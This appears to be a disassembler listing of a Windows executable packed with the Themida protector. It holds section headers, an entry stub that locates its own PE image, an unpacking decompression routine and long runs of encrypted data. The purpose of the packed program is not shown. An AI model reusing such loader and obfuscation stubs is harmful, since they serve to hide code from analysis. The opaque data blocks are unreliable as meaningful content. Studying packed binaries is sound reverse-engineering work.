		dd 20202000h, 20202020h, 20h
dword_4CF004	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_4CF008	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_4CF00C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_4CF010	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_4CF014	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_4CF018	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_4CF01C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_4CF020	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_4CF024	dd 2420000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_4CF028	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_4CF02C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_4CF030	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_4CF034	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_4CF038	dd 2420758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_4CF03C	dd 2420758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 3F0h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000D1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4D1000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000D2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4D2000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0D2050h, 0D2000h, 3 dup(0)
		dd 0D2079h, 0D200Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000D3000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 000D3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4D3000h
		dd 5D0ECDA0h, 4539Bh, 5FEC5h, 98172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0052EDDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053219D SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00532413 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4D3086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4D3041
		popa
		jmp	short loc_4D3076
; ---------------------------------------------------------------------------
a70m		db 'ш-70M',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4D3041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4D304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4D306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4D3074

loc_4D306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4D304E
; ---------------------------------------------------------------------------

loc_4D3074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4D3076:				; CODE XREF: start+1Bj
		jmp	loc_4D3265
; ---------------------------------------------------------------------------
		db 3
aJ2		db 'г╧j2',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4D3086:				; CODE XREF: start+8j
		mov	eax, offset loc_52EDDC
		mov	ecx, offset word_4D326A
		push	eax
		push	ecx
		call	sub_4D311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4D3265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4D311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4D3127:				; CODE XREF: sub_4D311B:loc_4D313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4D3132:				; CODE XREF: sub_4D311B+7Aj
					; sub_4D311B+C3j ...
		add	dl, dl
		jnz	short loc_4D313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D313B:				; CODE XREF: sub_4D311B+19j
		jnb	short loc_4D3127
		add	dl, dl
		jnz	short loc_4D3146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3146:				; CODE XREF: sub_4D311B+24j
		jnb	short loc_4D3197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4D3153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3153:				; CODE XREF: sub_4D311B+31j
		jnb	loc_4D3238
		add	dl, dl
		jnz	short loc_4D3162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3162:				; CODE XREF: sub_4D311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D316D:				; CODE XREF: sub_4D311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3178:				; CODE XREF: sub_4D311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3183:				; CODE XREF: sub_4D311B+61j
		adc	eax, eax
		jz	short loc_4D318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4D318D:				; CODE XREF: sub_4D311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3197:				; CODE XREF: sub_4D311B:loc_4D3146j
		mov	eax, 1

loc_4D319C:				; CODE XREF: sub_4D311B:loc_4D31B0j
		add	dl, dl
		jnz	short loc_4D31A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31A5:				; CODE XREF: sub_4D311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D31B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31B0:				; CODE XREF: sub_4D311B+8Ej
		jb	short loc_4D319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4D31E3
		mov	ecx, 1

loc_4D31C0:				; CODE XREF: sub_4D311B:loc_4D31D4j
		add	dl, dl
		jnz	short loc_4D31C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31C9:				; CODE XREF: sub_4D311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D31D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31D4:				; CODE XREF: sub_4D311B+B2j
		jb	short loc_4D31C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D31E3:				; CODE XREF: sub_4D311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4D31F1:				; CODE XREF: sub_4D311B:loc_4D3205j
		add	dl, dl
		jnz	short loc_4D31FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31FA:				; CODE XREF: sub_4D311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D3205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3205:				; CODE XREF: sub_4D311B+E3j
		jb	short loc_4D31F1
		cmp	eax, 7D00h
		jnb	short loc_4D3228
		cmp	eax, 500h
		jb	short loc_4D3223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3223:				; CODE XREF: sub_4D311B+F8j
		cmp	eax, 7Fh
		ja	short loc_4D322B

loc_4D3228:				; CODE XREF: sub_4D311B+F1j
		add	ecx, 2

loc_4D322B:				; CODE XREF: sub_4D311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3238:				; CODE XREF: sub_4D311B:loc_4D3153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4D3259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3259:				; CODE XREF: sub_4D311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4D311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4D3265:				; CODE XREF: start:loc_4D3076j
					; start+9Dj
		jmp	loc_52EDDC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4D326A	dw 38E9h		; DATA XREF: start+77o
		dd 15233BCh, 0E101BCAAh, 8B11B81Fh, 22AF2A84h, 0FA1EE124h
		dd 2103521Ch, 170F4F7h,	45DCFD85h, 0D51DC236h, 655203FEh
		dd 72617473h, 0C5704199h, 0F378E92Eh, 0C1BE6B84h, 312D3430h
		dd 9D7E37C2h, 93D798BFh, 0FB9C3A01h, 0E2BB01D1h, 7B843B22h
		dd 0E19222EFh, 98BCAE0Eh, 0EF6B848Bh, 847B33C8h, 8B35BC7Eh
		dd 21BC2B84h, 0BF3B848Bh, 0ABF0CF4Ah, 0C20371CDh, 54805F37h
		dd 696D6568h, 8D617064h, 0C58B5077h, 6038D4E4h,	5D44E8h
		dd 33CBED81h, 9589061Eh, 0D029D33h, 210E8AB5h, 13D85h
		dd 0E155BD83h, 0C740007h, 0E2E4E88Bh, 714FB84Bh, 447078C2h
		dd 3E88E324h, 6A030851h, 3A3E845h, 749A6829h, 0DFD20783h
		dd 4B250A80h, 0D5F40A89h, 5214E988h, 80BEEC02h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B0034B9h
; ---------------------------------------------------------------------------
		dw 4845h
		dd 0ED808D8h, 8C78940h,	80E67D81h, 0F74331Dh, 83F90820h
		dd 0FF459823h, 63EB4312h, 61DC36E1h, 0C9142674h, 64604C2h
		dd 0FF7CC481h, 20498E02h, 8D003502h, 5D8B8045h,	0A285C708h
		dd 8D502519h, 0C3D10A00h, 54411888h, 51810B89h,	5D0106BDh
		dd 274AE375h, 64BA8D14h, 80750276h, 0F4BB0E8Ah,	0ABB85B48h
		dd 78543707h, 0FE6D0D3h, 754B1D08h, 0C3AF82F7h,	4A924647h
		dd 51F94631h, 5D61D142h, 0F0D0038Ah, 45EEECAFh,	0EB4DFC50h
		dd 0E4AD0451h, 3E628046h, 9BBAF740h, 0C347384h,	7FEB0C7Dh
		dd 6486F83Eh, 26F0126Dh, 10F4540Eh, 65C10A4Ah, 1D604F0h
		dd 3E0D1F8h, 2800CBC2h,	1C8ADB33h, 0E6FB8030h, 0A0A6172h
		dd 0E9057739h, 2293F7EBh, 0B361143Fh, 0FB660A0Dh, 0FA1E7A08h
		dd 610A75C3h, 72411A10h, 460A860Bh, 0F5240677h,	0F05D0110h
		dd 83F4ECC3h, 7202987Dh, 0C00CD9B0h, 32A5BB76h,	0EF826AAh
		dd 508D3B70h, 55053BA8h, 78820FFCh, 0DB0BD4Eh, 87F238AAh
		dd 0B90708BAh, 0FC427005h, 3648BDh, 49470FFEh, 0B9FA750Eh
		dd 0E06A2E22h, 0E3101BBh, 0EB823BF1h, 8EC0026Eh, 1F389086h
		dd 6551071Ch, 0EEA2361Fh, 8926778Ah, 5923F2E9h,	0CB57FB6Bh
		dd 21130E04h, 8A40C45Fh, 82052575h, 1E084566h, 57470021h
		dd 0D8B5BFC4h, 16008996h, 2C70F333h, 3D48267h, 97B417B1h
		dd 0C3D0DB8Bh, 951DCBBCh, 3A495142h, 8AD68C9Ah,	7EECD9F1h
		dd 725A1852h, 4D8A21C4h, 0C45242C1h, 5ED4F3F1h,	6CC903Eh
		dd 0E94E419Ah, 84002512h, 0DC534985h, 0A9ACB1h,	7183C107h
		dd 3015FDC2h, 873110FEh, 0AEA2F0Fh, 7AA40B81h, 0D09EBE0Bh
		dd 4075B3Dh, 34CB8C5Ch,	7B39DC0Ch, 0F76004Eh, 3D51B810h
		dd 3BF8D104h, 42C346ECh, 0AB2E0975h, 480E0111h,	9065E4ECh
		dd 84B84806h, 8E05C505h, 0D548A396h, 0C204F053h, 718C29A8h
		dd 0A0E78AA1h, 0FFECA00Eh, 77812BC3h, 1D220004h, 0F984C134h
		dd 20647533h, 0DD1D3FBCh, 30EF990Ah, 0EC41CC02h, 7F678CE2h
		dd 40E4FFCCh, 0E9FA4533h, 620A6094h, 0D28C52C4h, 0AA821102h
		dd 0AB118CB1h, 1384D05Ah, 3B185689h, 0EE2A825Eh, 5CA181AEh
		dd 0EA8A136Ch, 231388B9h, 0A0439714h, 0C7DAC010h, 0FCCBE4DEh
		dd 8DF0DB10h, 290FB4F6h, 5E281h, 0BB9B3BCh, 861014CAh
		dd 0A3A0FC22h, 0A7E6FBE1h, 8D2A500h, 2E86C87Ch,	292CD28h
		dd 0EA5F9D27h, 93F91132h, 6E58D413h, 8A7ED389h,	1C03F230h
		dd 18C1DC82h, 180E450Ah, 98823392h, 10D259h, 0E398BBF8h
		dd 0AEA184C9h, 0CCB6E600h, 0E08663ECh, 0C3820C5Bh, 0BF307611h
		dd 0DF1C1477h, 100F2C7Dh, 226B1490h, 722B000Fh,	1B73FDF8h
		dd 0BC00EC43h, 5390F040h, 79058CA9h, 0BAA2003Bh, 0F1825639h
		dd 0E13B7D67h, 0F5C10348h, 4F9C60h, 0BA4370Ch, 0C98C6769h
		dd 0BA3A8A60h, 1099CFBh, 0EFF0822Ch, 406C2460h,	0D994DCC5h
		dd 0EB61C8F6h, 0CFD88117h, 8C8981F7h, 86B017C3h, 0E9423BCh
		dd 0BD06B100h, 0E2231512h, 0A43F00B4h, 1E37818Ch, 0B1A48210h
		dd 0B6A484ECh, 12DA5F1Fh, 52B10F85h, 67921380h,	7810C381h
		dd 73E70E0Ah, 81807BAh,	991120A3h, 957B0034h, 0D2109AC8h
		dd 0D17BCC90h, 22409B01h, 5BF133B0h, 0C0967AD8h, 5E4D9450h
		dd 6001663h, 0BB21BE23h, 60EA40FAh, 0EE3E20B1h,	18C6696Fh
		dd 0F68077C7h, 0BE420003h, 0C0099961h, 2B009F0Dh, 3618E69Ah
		dd 0C217F93h, 0BB80DAB2h, 77000130h, 4D16349Ch,	65E7D0Ch
		dd 0ABF6369Fh, 3106586Ah, 7204205Bh, 869A3731h,	399FF369h
		dd 0DB68D180h, 6A7611F0h, 0B042303h, 78C9A9Dh, 1307CD29h
		dd 3F40A0E4h, 0C000282Fh, 43DF796Dh, 18F181FBh,	6175D9EEh
		dd 3207CC8Ch, 3FEC46Dh,	9B3E26B1h, 83BE5853h, 0E146D00Dh
		dd 0A10800E3h, 0A71945Ch, 0FA008E5Bh, 0A098FE18h, 2AA20422h
		dd 0F846F36h, 9A379F3Dh, 20D50E4h, 8289CF06h, 0F8A4EA8h
		dd 0EC5E1113h, 51A0FC77h, 0A9E0DCB2h, 63400FFBh, 36A36869h
		dd 3AD0706h, 9A042990h,	68005A8Bh, 96331208h, 0DF92433Eh
		dd 22C1C020h, 2FC4E6B2h, 0FBBE78C0h, 375B5D9Dh,	0AA619077h
		dd 9C2491h, 987939Fh, 6B001AB9h, 183881D0h, 1DBD024Ch
		dd 30C71636h, 12A32858h, 3A072C92h, 50F9980h, 0EEFAE0AEh
		dd 0C11A223h, 0C06B0E3Eh, 5C062B30h, 84F7F692h,	0F85A0910h
		dd 24218DDDh, 2939706h,	0F1A480D6h, 2495D2ECh, 1070FAB2h
		dd 0A9EE00BFh, 9D2B7F7Dh, 5BEC0321h, 313CFEBAh,	0EF5CD805h
		dd 0D44079DAh, 96B7ACE9h, 236403ABh, 3094E770h,	3AB42903h
		dd 50F3CCFh, 12420810h,	0FA01F55h, 18B814F7h, 0DA4802E8h
		dd 0A67C833Ch, 0CA32E02Ch, 2EF32EC1h, 0A01F01CAh, 4078A93Eh
		dd 760B8E4Ch, 92ACBA54h, 4EAA9B1Eh, 523A4BC1h, 0DDD4325Bh
		dd 893D9084h, 10BF4AF4h, 8E7551Ah, 808FB561h, 8B43D41h
		dd 0F7660Dh, 603F69BEh,	7A6748D1h, 0D3A50C00h, 52E64BC0h
		dd 9F53012Ch, 8B8AD5AAh, 0FE841185h, 0E9033443h, 0E8826496h
		dd 22C0C706h, 0E423A405h, 7032B83Eh, 0C86A0089h, 0F4D0B5F3h
		dd 0EE2A9686h, 0D604FC97h, 80469264h, 30416C99h, 590728A0h
		dd 437AF285h, 0D40789Ch, 52EF6103h, 118A428h, 1EF52D11h
		dd 0E1E9E667h, 4702208h, 73A6F68Ch, 1F2F001Fh, 239F3EFCh
		dd 30F39C9h, 78C1D69Eh,	4B780070h, 9DCBBED7h, 94021259h
		dd 0CE40FCD4h, 8B1C4091h, 0BF0E0EF1h, 4780BCC5h, 0E9C26FE8h
		dd 28B6F900h, 864F0466h, 7A56006Eh, 0F13BCCF5h,	0B201D64Dh
		dd 5205C36Fh, 59D09C07h, 217A00EBh, 0CC20A85Eh,	7B783066h
		dd 32723A1Fh, 3BB08E00h, 3BC3014Fh, 0F900A60Fh,	2EDFCE4Dh
		dd 5C0FB2AFh, 4006B3ACh, 0E98BC2F2h, 55C30B08h,	9100C1C4h
		dd 0BFC040E1h, 1F3E100Ah, 9A0F80BBh, 81B4022Ah,	47EC4059h
		dd 0F05A809Bh, 0D48C7126h, 7A1318A2h, 2843F210h, 0D822D15Eh
		dd 68EF44h, 23C86C3Bh, 7A4ABA84h, 22FEE0A9h, 0A08A3904h
		dd 9A0F06BBh, 18191CC6h, 0DA79660Ah, 549DE878h,	0BC07101Dh
		dd 82E0D84Fh, 920563h, 0AA990461h, 0B975E820h, 957949C0h
		dd 7EF0AEC4h, 0F22F04B1h, 0C2EFBDA2h, 0F820C074h, 33B34A16h
		dd 890EE94h, 0D30613C4h, 8A86C42h, 1C54CEBAh, 6961101h
		dd 1832831Fh, 29F8E900h, 0B7D98E4Ah, 4C303B02h,	60D30623h
		dd 24920474h, 60587B96h, 67CE512Bh, 0E716940Dh,	0D8214882h
		dd 8A652041h, 0C18183F1h, 0B618FB51h, 96A8409Fh, 18A2B316h
		dd 80BE4AC1h, 0E6C19E29h, 4D6F1A6h, 470695B7h, 0C4530797h
		dd 61563E87h, 0FC873110h, 8E0B20h, 5C1FCBB1h, 8840A040h
		dd 1A0818FAh, 0C15F7095h, 203E7116h, 8506044Bh,	9C439402h
		dd 86765Ah, 9870FE81h, 0B8A37D3Ch, 0A75DE300h, 0C1298B6Eh
		dd 0F5300C24h, 3D515C7Bh, 33B17820h, 0A8418876h, 0A9E8DCE0h
		dd 0C3C09A00h, 7A8A499Bh, 79B274C1h, 8882548Dh,	4E060620h
		dd 898F9A50h, 2300767Ch, 0F2D90342h, 798A9Ch, 591096B9h
		dd 84D50ED8h, 54CFBE05h, 0A80452E7h, 10083A6h, 850471FAh
		dd 0EE88B461h, 8457F884h, 6F1FB3F3h, 340078F2h,	0BE40EE53h
		dd 3F209B12h, 849A4821h, 5121318Eh, 77F51921h, 5898DC1Eh
		dd 0B72828B8h, 8444780Eh, 67710031h, 460BFF65h,	0E00F5D91h
		dd 0E15F5B01h, 6A0520BEh, 208E3042h, 0B67EEEF6h, 1B80900h
		dd 3CC7293Ah, 10780FF0h, 1162B51Ch, 6080C99Fh, 5FA68A83h
		dd 0F710B89Ah, 5B02FDE6h
		dd 653BF694h, 5C8A0040h, 0A2872491h, 54578C61h,	81FDC81h
		dd 21014C72h, 71C3488Ah, 9861A03Ch, 34FF3A0Ch, 19C15817h
		dd 70627289h, 9458A8B1h, 28BB5320h, 0BE083C3h, 9CD6085Dh
		dd 97AAA825h, 899AC248h, 0DBB5DF20h, 0F6B000EAh, 7A9569FAh
		dd 4EEC9AAFh, 1005348h,	6C715251h, 48494FDFh, 7F162F9h
		dd 49E50841h, 3964C60h,	8A845E6Dh, 0A01977AEh, 3AD976DAh
		dd 0FD84BD4h, 0B6A75994h, 204F2880h, 192CF0FBh,	0EF000871h
		dd 0E560ACEAh, 0C89B5254h, 8675CD00h, 2A017EAFh, 0C0646100h
		dd 268F60A1h, 0B81D00B4h, 6C228459h, 7E58869Ah,	0CF6D85F0h
		dd 9BF2C422h, 0CA3CF0F0h, 1CE80019h, 0B91BDF9Bh, 1501E585h
		dd 636A2E04h, 88F57684h, 4E201910h, 3E783A07h, 0FDD05D89h
		dd 9030D8EBh, 0F0F70B74h, 0D8A57359h, 0F6C42016h, 333C3A40h
		dd 98963B25h, 88188F7Bh, 47548CBh, 87FB7C80h, 2863C9E6h
		dd 0AF0EA8h, 54F27829h,	2B0BD52h, 90CF081Ah, 0EAC66D1h
		dd 359CA785h, 8F505BDh,	16A4413Dh, 298A5B06h, 64F218E4h
		dd 98F13418h, 0B20AFA80h, 6DDA2A0Ch, 0D9AF00D0h, 0D3ED7CF4h
		dd 0FD0003BEh, 2F2AAAC9h, 1C720Dh, 525D4D7Bh, 0EE3DD4F5h
		dd 5C66E72Ch, 0BC46C892h, 49916A3h, 0FDE433B7h,	0CC73C07Dh
		dd 0D3024FEEh, 0C73AE771h, 2D0E484h, 0F7829B3Dh, 5440854Dh
		dd 0B3A2BFBDh, 0DA0C6C51h, 268AA125h, 0B94C4D6Dh, 0CE035B80h
		dd 0C0229FA9h, 0E968502h, 0E4827605h, 36890088h, 9E097EF2h
		dd 0F7002763h, 0F13AA705h, 7401E6C7h, 20D098FCh, 7A48895Bh
		dd 6622044h, 371F95Ch, 20118913h, 7812803Dh, 3A7C2009h
		dd 0CC3A7A7Fh, 64CF8CA6h, 2EB9D80Bh, 3305154h, 8AB387EDh
		dd 9912138Bh, 540435AEh, 2136462h, 0BF12083Ch, 0BC7703h
		dd 0DB2B3D29h, 0ECFFAD53h, 9BEE9312h, 5C28CCC0h, 74DA37C9h
		dd 0A7134091h, 7E002DDCh, 0F6A3D7EAh, 926531h, 8E631AB8h
		dd 71D813B9h, 0C0CB4026h, 763F1F86h, 0BC210641h, 90658242h
		dd 0F9CB5B07h, 64D052A1h, 9A53CABAh, 89811734h,	0E61C308Ch
		dd 25833D4Ch, 420DA48h,	0A5E1D1F8h, 0AB918C0Bh,	0E2803F2h
		dd 21E234EEh, 0FE848C41h, 0B3442801h, 540F7D4h,	0EF260C28h
		dd 1A4C0878h, 885C5C17h, 77824E0h, 6034110h, 1050DAFFh
		dd 4A42042Ch, 0F508AC22h, 691CA10h, 49ACEC20h, 2A92B320h
		dd 3E48A99h, 0B2C018B7h, 6AE06C5Fh, 1D1D2CE4h, 1C1AEA7h
		dd 86CDF8F5h, 106048A8h, 60D88EFh, 2C164F3Ch, 2800A1F8h
		dd 592306DAh, 0EE96BA0Dh, 0A3D0B927h, 9A5E881Bh, 0F4756A00h
		dd 0EAB29B46h, 18C007AAh, 0CEFACDFBh, 6275880h,	6A609E42h
		dd 8FF554D0h, 0CD51003Fh, 35F7E952h, 3200EE5Ch,	61687B9Ch
		dd 4DA2BE23h, 67C80BAh,	0A9728FC4h, 86284854h, 0BE000C55h
		dd 0F401AC79h, 3A94E28h, 518D969Bh, 0C1EFF8F6h,	50DADC27h
		dd 0ECDBB1ECh, 8A36607h, 8C408E5Ah, 3D47F61Fh, 1D0BC103h
		dd 0B818451Bh, 0EB00DC6Ah, 22F2054Eh, 0C253B5h,	0E2B25625h
		dd 4AB38E2Ah, 0B40FE112h, 929D4808h, 6364D076h,	0C403E98Fh
		dd 0ED91C2D7h, 436AE8BFh, 64EE32h, 543A958Eh, 0E941BA1Bh
		dd 4AD3529h, 0B640B9C4h, 286BD56Eh, 2ABCEF00h, 0B7D7ED17h
		dd 9C263FC4h, 0C0351860h, 3463D5BDh, 0E0B12F40h, 3FC722h
		dd 174FDA47h, 326AD49Ah, 76B48900h, 5F414E1Ch, 27AC0125h
		dd 4C2A48EFh, 1E58BBA2h, 0E80CBD3Ah, 187F10AAh,	288DF56Fh
		dd 2400558Fh, 0C32B4DB2h, 0F5DD1DDh, 0B0D7DA53h, 1341AC5h
		dd 0A3B176F2h, 1E80BE0Ah, 4B0C7372h, 0E531003h,	8444913Eh
		dd 99B4EF20h, 3B037B1Dh, 0B17440ECh, 0AA290A5Fh, 80EB4Dh
		dd 7D340982h, 0D105EDBBh, 50E84253h, 0BF362802h, 742E488Fh
		dd 0A0E6510Eh, 7F8481EEh, 0B88AA9D9h, 4108ECBAh, 4042081Ch
		dd 93872CB0h, 0C60541DEh, 0BC40432Ah, 0E2BBC084h, 9C84A8E0h
		dd 57B1306Ch, 2CE8A979h, 0DCE2B318h, 2AF84121h,	7DE0AEC0h
		dd 596C2AECh, 46BC1518h, 0B21DD8A0h, 2071F224h,	44EE5922h
		dd 8B56000h, 1E69BAB9h,	8FF9ED74h, 0E1A9D104h, 0DB03693h
		dd 204F8442h, 0E0137D4Eh, 0AA1D41C6h, 0DFC1F089h, 41B5D908h
		dd 5996F3BCh, 0E2A88D54h, 87AFB015h, 0C5C4384h,	5837495Ah
		dd 0F91C10B2h, 6CB8003Bh, 75677497h, 0D084CCBh,	0DA80F03Ah
		dd 44837D91h, 0BD0F554Bh, 805D617Ch, 21D6C146h,	28710068h
		dd 97474335h, 0BB7C6207h, 0AA0D800Bh, 87DA00BEh, 79D07Ch
		dd 891C2D94h, 69C7236Eh, 5FCAC800h, 3F267167h, 4048607Ah
		dd 0DDBBA98h, 0BEB9E400h, 719DA58Fh, 866D0035h,	0AA88BD58h
		dd 69003B57h, 652295D1h, 3F52C3h, 10975A6Eh, 0DDD7F8Eh
		dd 84B91A12h, 35E01C5Ah, 0F82A5F04h, 79617B02h,	40E417A7h
		dd 0E0FCD8h, 453569A3h,	0BB471853h, 39E67B1Ch, 608CC8C0h
		dd 3B4F778Ah, 0A88C7D40h, 71406202h, 0C67C1B02h, 0C089E281h
		dd 38674A5h, 76AD5826h,	32B83323h, 0A02E0FE9h, 7E00EA7Dh
		dd 62039690h, 7AA5187Fh, 0E287401Eh, 0CA009A7Eh, 0B44C8679h
		dd 586F8Fh, 8CCB88CFh, 5F6D4914h, 0A945CCEDh, 725C0300h
		dd 7C1516A5h, 0DBFD04EFh, 0C5C47E9Bh, 0BB942E38h, 798E7102h
		dd 0C5C074A1h, 0E23DFDBBh, 7ACA818Ch, 0ADC04F86h, 3B27F0h
		dd 15D6CF7Bh, 3A286D92h, 0A259B900h, 0A382627Dh, 0BDDA0708h
		dd 72C9CBC4h, 6BC0357Bh, 0B8034221h, 62F65B65h,	981CD030h
		dd 394C0081h, 7DA18B85h, 0DF308070h, 0CBEA4007h, 71861CA4h
		dd 5552C0D8h, 4F7C81BCh
		db 0, 88h
word_4D4152	dw 0CF47h		; DATA XREF: ___:off_42E644o
		dd 7D9E6092h, 5AA0C04Dh, 7F93BFA3h, 0A70DCB03h,	0D090F0ACh
		dd 59D86F86h, 0A8AB8C88h, 7BCE0065h, 80E0BB67h,	0FBF8AA18h
		dd 6C95D600h, 43858884h, 0D7834047h, 93CE6A00h,	1A758C22h
